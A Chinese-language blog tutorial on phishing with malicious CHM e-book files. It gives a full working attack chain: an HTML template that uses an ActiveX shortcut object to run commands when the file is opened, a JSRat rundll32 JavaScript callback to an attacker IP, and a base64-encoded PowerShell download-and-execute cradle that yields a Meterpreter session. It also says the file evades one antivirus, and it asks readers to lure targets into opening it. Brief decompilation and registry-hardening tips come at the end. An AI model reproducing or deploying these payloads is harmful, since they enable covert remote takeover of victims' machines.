钓鱼攻击之:CHM电子书钓鱼
钓鱼攻击之:CHM电子书钓鱼
1 CHM简介
CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。因为使用方容便,形式多样也常被采用作为电子书的格式。而该类型的文件是可以用Windows自带的hh.exe文件来进行打开。
CHM支持JavaScript, VBScript, ActiveX, Java Applet, Flash, 常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,CHM同样支持,并可以通过 URL 与 Internet 联系在一起。
因为使用方便,形式多样,也被采用作为电子书的格式。
2 .Chm文件因何变得危险
.Chm文件格式是HTML文件格式的扩展,它本来是一种用于给软件应用程序作用户手册的特殊文本格式。简单来说,HTML文件格式被压缩和重整以后,就被制成了这种二进制的.Chm扩展文件格式。通常,.Chm文件格式由压缩的HTML文件、图像、Javascript这些文件组合而成,同时,它可能还带有超链接目录、索引以及全文检索功能。
这些.Chm文件有着较多的用户交互,并且采用了一系列的技术。其中包含的Javascript代码自不用多说,它可以在你打开.Chm文件时,直接重定向到一个外部链接。也就是说,用户只要打开一次这类文件,里面包含的恶意代码就可能主动运行。这似乎给人一种感觉,即用户交互更少的时候,感染的机会反而更大。
3 CHM 后门的优点
- 因为电子书一般是在本地电脑域打开的,因此它所获得的权限也是本地电脑域的权限,所以比起网页木马的Internet域来,让木马获得执行的机会要简单的多,“不必使用漏洞”就可以执行!(Windows 2003除外,原因下面会说到)。
- 现在的网页木马由于影响力太大,一般的人上网都会小心三分提防的,且它依赖与漏洞,所以生存的空间正在逐渐缩小。与此相反的是电子书的火爆下载,使得电子书木马的传播能力、生存能力以及范围大大加强!
- 免网站维护,低成本
4 利用过程
4.1 准备工具
Payload项目地址,基于Python2编写的:Ridter/MyJSRat: This is JSRat.ps1 in Python (github.com)
Easy CHM下载地址:Easy CHM下载 Easy CHM(chm制作工具) 3.93 -脚本之家 (jb51.net)
恶意chm模板:
evil.html<!DOCTYPE html><html><head><title>忍不住点击的标题</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value='执行程序,Payload命令'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>
- 注:
执行程序,Payload命令之间有个逗号,替换时不能少。
- 注:
4.2 制作恶意chm文件
生成恶意Payload,进入下载的Payload项目目录,执行以下命令:
# python2.7 MyJSRat.py -i 192.168.50.2 -p 4444
# 显示以下内容为正常运行
JSRat Server
By: Evi1cg
[*] Using interactive method! [*] Web Server Started on Port: 4444
[*] Awaiting Client Connection to: http://192.168.50.2:4444/connect
[*] Client Command at: http://192.168.50.2:4444/wtf
[*] Browser Hook Set at: http://192.168.50.2:4444/hook [-] Hit CTRL+C to Stop the Server at any time...
http://192.168.50.2:4444/connect:默认回连地址http://192.168.50.2:4444/wtf:访问此链接获取客户端执行代码http://192.168.50.2:4444/hook:浏览器hook链接,适用于某些版本的IE
访问
http://192.168.50.2:4444/wtf链接获取客户端执行代码rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.50.2:4444/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
将生成的客户端执行代码,添加进恶意chm模板中:
evil.html<!DOCTYPE html><html><head><title>说明书</title><head></head><body> <br>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1
height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.50.2:4444/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>
使用Easy CHM软件,将
evil.html打包成chm文件诱使目标点开该文档,即可上线

使用火绒查杀试了下可以免杀,但会被windows Defender查杀

4.3 高级利用
当获取客户端JS 交互shell之后自动执行powershell命令,获取meterpreter会话。
开启
use exploit/multi/script/web_delivery,得到Payload如下:powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.50.2:8081/');
由于存在特殊字符,我们需要将代码编码为base64格式:
将以下代码存入tmp.txt
$n=new-object net.webclient;
$n.proxy=[Net.WebRequest]::GetSystemWebProxy();
$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;
IEX $n.downloadstring('http://192.168.50.2:8081/');
编码为Base64:
# cat tmp.txt | iconv --to-code UTF-16LE | base64
JABuAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAK
ACQAbgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcA
ZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAKACQAbgAuAFAAcgBvAHgAeQAu
AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMA
YQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoASQBF
AFgAIAAkAG4ALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8A
MQA5ADIALgAxADYAOAAuADUAMAAuADIAOgA4ADAAOAAxAC8AJwApADsACgA=
构造成最终执行的powershell命令为:
powershell -ep bypass -enc JABuAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAK
ACQAbgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcA
ZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAKACQAbgAuAFAAcgBvAHgAeQAu
AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMA
YQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoASQBF
AFgAIAAkAG4ALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8A
MQA5ADIALgAxADYAOAAuADUAMAAuADIAOgA4ADAAOAAxAC8AJwApADsACgA=
使用执行命令模式直接获取meterpreter会话:
python MyJSRat.py -i 192.168.50.2 -p 4444 -c "powershell -ep bypass -enc JABuAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAK
ACQAbgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcA
ZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAKACQAbgAuAFAAcgBvAHgAeQAu
AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMA
YQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoASQBF
AFgAIAAkAG4ALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8A
MQA5ADIALgAxADYAOAAuADUAMAAuADIAOgA4ADAAOAAxAC8AJwApADsACgA="
5 溯源
chm是可以反编译为html的。使用windows自带的hh.exe 则可进行反编译。命令如下:
hh -decompile test *.chm
# test 为当前目录的test文件夹
6 预防
修改本地安全属性,使其无法在本地电脑域环境中运行木马程序,相应的注册表键值为:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0下的1004项的值由原来的0改为十六进制的3如果你想详细修改本地电脑域的安全属性,可以把此同分支下的
Flags项的值由原来的十六进制21改为0,再打开IE浏览器“Internet 选项...”中的的“安全”标签,是不是多了一个“我的电脑”图标,便可以改改它的安全级别
7 参考
写完发现已经有大佬详细分析了:高级组合技打造“完美” 捆绑后门 | Evi1cg's blog
钓鱼攻击之:CHM电子书钓鱼的更多相关文章
- 支付SDK的安全问题——隐式意图可导致钓鱼攻击
该漏洞涉及到app所使用的intent和intent filter. intent是一个可用于从一个app组件请求动作或处理事件的“消息对象”.Intent负责对应用中一次操作的动作.动作涉及数据. ...
- pikachu练习平台(XSS-漏洞测试案例(cookie的窃取和利用、钓鱼攻击、XSS获取键盘记录))
XSS-漏洞测试案例 xss案例 1.cookie的窃取和利用 2.钓鱼攻击 3.XSS获取键盘记录 在进行案例之前首先要搭建xss后台 搭建xss后台 1.在pikachu文件夹下面,把pkxss单 ...
- CobaltStrike 生成office宏病毒进行钓鱼攻击
关于WORD宏: 在百度百科上有: 宏是一个批量处理程序命令,正确地运用它可以提高工作效率.微软的office软件允许用户自己编写,叫VBA的脚本来增加其灵活性,进一步扩充它的能力.如完打开word文 ...
- 风炫安全WEB安全学习第二十四节课 利用XSS钓鱼攻击
风炫安全WEB安全学习第二十四节课 利用XSS钓鱼攻击 XSS钓鱼攻击 HTTP Basic Authentication认证 大家在登录网站的时候,大部分时候是通过一个表单提交登录信息. 但是有时候 ...
- 钓鱼攻击之远程加载恶意Word模版文件上线CS
0x00 前言 利用Word文档加载附加模板时的缺陷所发起的恶意请求而达到的攻击目的,所以当目标用户点开攻击者发给他的恶意word文档就可以通过向远程服务器请求恶意模板并执行恶意模板上的恶意代码.这里 ...
- DNS欺骗:网站克隆实现网站钓鱼攻击
1 DNS 1.1 DNS是什么? 域名系统(Domain Name System)是互联网使用的命名系统,用来将主机域名转换为 ip 地址,属于应用层协议,使用 UDP 传输. 1.2 为什么需要D ...
- EasyCHM(CHM电子书制作工具) v3.84.545 绿色版
软件名称:EasyCHM(CHM电子书制作工具) v3.84.545 绿色版 软件语言: 简体中文 授权方式: 免费软件 运行环境: Win 32位/64位 软件大小: 2.78MB 图片预览: 软件 ...
- 如何自己制作CHM电子书?
软件介绍: EasyCHM 非常适合个人和单位制作高压缩比的有目录.索引,同时具有全文检索及高亮显示搜索结果的网页集锦.CHM格式的帮助文件.专业的产品说明书.公司介绍.文章集锦.CHM电子书等等. ...
- 无线安全: 通过伪AP进行DHCP+DNS劫持的钓鱼攻击
有了之前学习802.11的数据帧格式.芯片硬件参数学习的基础后,我们接下来继续学习无线安全中黑客是怎样进行流量劫持攻击的 相关学习资料 http://www.freebuf.com/articles/ ...
- 使用Wifi pineapple(菠萝派)进行Wi-Fi钓鱼攻击
简介: WiFi Pineapple 是由国外无线安全审计公司Hak5开发并售卖的一款无线安全测试神器. 特性: 用作 Wi-Fi 中间人攻击测试平台 一整套的针对 AP 的渗透测试套件 基于 WEB ...
随机推荐
- PW6276是一颗高效同步升压转换芯片,内部集成低阻抗功率 MOS
概述PW6276是一颗高效同步升压转换芯片,内部集成低阻抗功率 MOS. 具有短路保护功能内部集成软启动电路,无需外部补偿电容,外部反馈网络.PW6276采用 SOP8-EP 封装配合较少的外围原件使 ...
- python重要内置模块
目录 包的概念 包的具体使用 编程思想的转变 常用内置模块之collections模块 (收集) 常用内置模块之time模块 (时间) 常用内置模块之random模块 (随机) os模块 sys模块 ...
- layui table 表头抖动
原本table超出页面宽度(即table有横向滚动条)的情况下,缩放页面然后再设置定时器定时更新表单,会发现数据不变的时候table头部会左右抖动 而且th td比设置的minWidth 或者cell ...
- gulp报错The following tasks did not complete
代码如下: //引用gulp模块 const gulp = require('gulp'); //使用gulp.task()建立任务 gulp.task('first', () => { con ...
- 玩好.NET高级调试,你也要会写点汇编
一:背景 1. 简介 .NET 高级调试要想玩的好,看懂汇编是基本功,但看懂汇编和能写点汇编又完全是两回事,所以有时候看的多,总手痒痒想写一点,在 Windows 平台上搭建汇编环境不是那么容易,大多 ...
- Jgit的使用笔记
原文:Jgit的使用笔记 - Stars-One的杂货小窝 之前整的一个系统,涉及到git代码的推送,是通过cmd命令去推送的,然后最近在产品验收的时候,测试部门随意填了个git仓库,然后导致仓库代码 ...
- uniapp解析后端返回的html标签
<rich-text :nodes="data.content"></rich-text>
- MYSQL进阶学习笔记
MySQL在Linux中的使用: 1.查看mysql在linux的安装版本 mysqladmin –version 2.mysql服务的启动与停止 (1).启动: service mysql star ...
- DevSecOps 需要知道的十大 K8s 安全风险及建议
Kubernetes (K8s)是现代云原生世界中的容器管理平台.它实现了灵活.可扩展地开发.部署和管理微服务.K8s 能够与各种云提供商.容器运行时接口.身份验证提供商和可扩展集成点一起工作.然而 ...
- 第七节 VOR/DME进近程序保护区的绘制
飞行程序设计软件实践 通过前面六节的练习,2023社区版插件的主要功能都已经使用到了.今天通过VOR/DME非精密进近程序,再将这些功能串起来使用一下.今天的软件,我们使用浩辰CAD2023版(过期后 ...